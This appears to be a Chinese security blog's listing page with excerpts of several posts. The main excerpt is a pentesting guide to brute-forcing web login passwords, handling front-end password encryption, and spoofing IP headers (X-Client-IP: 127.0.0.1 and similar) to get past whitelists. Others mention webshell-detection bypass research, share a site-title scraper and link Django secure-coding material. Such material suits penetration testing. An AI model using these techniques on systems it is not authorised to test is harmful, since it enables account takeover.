0x01:密码猜解大部分系统登录是绕不过的,最常用的还是猜解已知用户名的密码,用合法的凭证登录系统。Web系统进行密码猜解,大部分人喜欢叫密码爆破,因为猜解一个人的密码,通常需要成千上万的密码来试。密码猜解的目的是准确、高效的获得已知用户的正确密码。1. 用来发送HTTP/S协议爆破密码的工具主要是用Burpsuite。其它的就是用一些脚本,自己造轮子或用已经写好的较为通用的脚本,如 htpwdScan 。2. 高效的保证就是猜解时使用的密码字典要适合,一般是先尝试TOP500、TOP1000、TOP10000系列的通用弱口令字典。3. 还没有成功的话,就需要自己根据目标的信息构造特定字典来爆破了。可以自己写脚本生成,但是费时费力,对于比较急的任务往往不适用。推荐下自己写的一个高级字典生成工具pydictor 可以直接配置里面的规则生成字典,也支持高级玩家写自己的密码生成插件,一劳永逸。其它的一些好的字典生成工具推荐 crunch、Cewl、Cupp。0x02:管理员猜解在不能判断系统中存在什么样的用户名时,通常先进行管理员用户名的猜解,然后再根据存在的用户名进行密码破解。我总结了一个常见系统管理和测试用户名字典AwesomeSystemTestUsername,可以做为管理员用户名的猜解使用。如果一个系统对存不存某用户名无任何有用提示,可以直接使用上面的字典,加上弱口令TOP1000,同时爆破用户名和密码,常有意外收获!0x03:普通用户猜解如果封闭系统是个多(几十或几百个)业务员系统,那么此时最好用一个普通用户名字典进行猜解。常见的有姓名拼音字典TOP500、TOP10w等。同样,如果一个系统对存不存在某用户无任何有用提示,要猜解的用户名又非常多,可以选几个弱口令如"123456","abc123","1234","1111","111111",同时爆破用户名和密码。0x04:突破加密传输的口令有些业务系统的口令传输到后端前,为了安全和老板的要求,通常是由前端js进行编码或加密后再传输的。常见的Web系统编码和加密方式有base64编码、md5加密、sha1加密、DES加密、AES加密、RSA加密。这时候,有三种爆破方法。一:用爆破工具在传输前按照标准方法加密好再传输,Burpsuite的Payload Processing可以很好的工作。二:用工具提前生成好加密好的字典,然后爆破工具直接加载字典即可。在生成加密字典方面,pydictor是不二之选。encode功能内置支持多种加密方法,并且支持自定义加密方法,直接调用js文件中的加密方法进行加密等。另外,还可以用内置工具handler,加密自己现有的字典,让字典适用本次爆破场景。当然,也可以写轮子直接调用可以解析js语法的组件并执行,例如python的execjs模块、pyv8模块等,原理和pydictor调用js文件中的加密方法相同。三:对于某些动态加密或难以还原加密算法的场合,可以用selenium+webdriver模拟浏览器操作,自动填写密码提交。具体可参考文章基于SELEINUM的口令爆破应用。0x05:突破登录IP地址限制如果对方系统设置了可以登录系统的IP地址白名单,可以尝试用下面的9个HTTP头字段,伪造下IP地址碰碰运气。运气学?天机不可泄漏。Client-Ip: 127.0.0.1 X-Client-IP: 127.0.0.1 X-Real-IP: 127.0.0.1 True-Client-IP: 127.0.0.1 ...

更多 →

关于PHP/JSP/ASP的一些Webshell检测绕过研究

创建时间: 2018年5月27日 17:41 - 作者: LandGrey - 标签: 渗透测试

不再单独搬砖了,请去下列地址去查看:Github文章和Webshell合集 :webshell-detect-bypass先知社区:php一句话木马检测绕过研究利用Java反射和类加载机制绕过JSP后门检测构造免杀的asp一句话木马

更多 →

20行与200行代码批量获得网站标题-反思平庸与技术精进

创建时间: 2018年6月8日 22:43 - 作者: LandGrey - 标签: 分享, 思考

一. 20行代码临时任务,需要自动化收集大概文本中指定的100多个域名的网站标题(title)。这种以前也做过的简单任务,自己操作起来可以说是驾轻就熟了。花个两分钟,写个脚本,大概20行代码如下:#!/usr/bin/env python# coding:utf-8#import reimport requestsheaders = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063",}def poc(url): try: req = requests.get(url, headers=headers, timeout=15) title = re.findall("<title>(.*?)</title>", req.text, re.I | re.M) if title: return url + " " + title[0] else: return False except: return False使用POC-T 框架调用以上代码,就可以批量获取网站title了。使用Python脚本+框架的方式,可以简单快速的完成任务。但是实际上,操作起来最多只能获取到大概60%左右的网站标题。剩下的怎么办?还是手工一个个打开网页看标题……二. 问题所在批量获得网站Title这个编写脚本的技术工作,自己以前在渗透测试中,也做过很多次。要是有人问我"怎么批量获取网站的标题",我心里可能会嘲笑问我的人"这么简单的事都不会"。但是到了真正我来完成批量获取网站标题的任务时,祭出的20行代码却只能获取到60%左右的网站标题,剩下的大量不能正常获取的网站标题,还得人工一个一个的去看。浪费大量的精力去做本来可以很好的利用自动化方式解决的事情,让我感到十分羞愧。20行代码存在的主要问题,其实自己也大概清楚是怎么回事:编码处理不当。因为各种环节问题,一些中文标题解码错误,不能正确获得;不少网站存在首页跳转,程序获取不到跳转地址,自然拿不到标题;各种其它细节处理与疏于考虑的问题但自己在批量获取网站标题这个工作上,平庸到可以说是"怎么批量获取网站标题"都不会的人。最终应该嘲笑的是自己长久以来对平庸技术的满足与追求更加精进技术需求的漠视。三. 200行代码知道了问题所在,我就下决心要解决长期以来的对此问题的漠视,做个会"批量获取网站标题"的人。果然,写出准确率很高的批量获取网站Title的代码,要考虑并处理很多种情况,包括:编码问题。中文、UTF-8及Unicoded等转换。全面考虑各种首页跳转的情况。网站跳转代码的正则匹配表达式的书写考虑要全面。HTTPS协议网站请求相关问题。匹配网站标题的正则表达式的正确书写。Js代码写网站标题的情况。HTML实体编码的网站标题。中间包含换行、Tab键等空白字符标题的处理。网站请求错误重试、延时、网页自动跳转、超时时间、headers等考虑。获取不到网站Title的原因要显示出来其它当然,目前代码可能还是有不完善或者考虑不到的地方,一些较少遇到的情况会人为忽略。比如有的网站首页会以JavaScript ...

更多 →

Django安全编码与实践分享

创建时间: 2017年5月17日 17:02 - 作者: LandGrey - 标签: 分享, python, django

主要分享关于 Django安全编码与实践 的文章,已经压缩成图片,方便查看。附件1: Django 安全最佳实践.png原文链接: Django 安全最佳实践附件2: 从Pwnhub诞生聊Django安全编码.png原文连接: 从Pwnhub诞生聊Django安全编码附件3: Python安全编码指南.png原文链接: Python安全编码指南

更多 →
<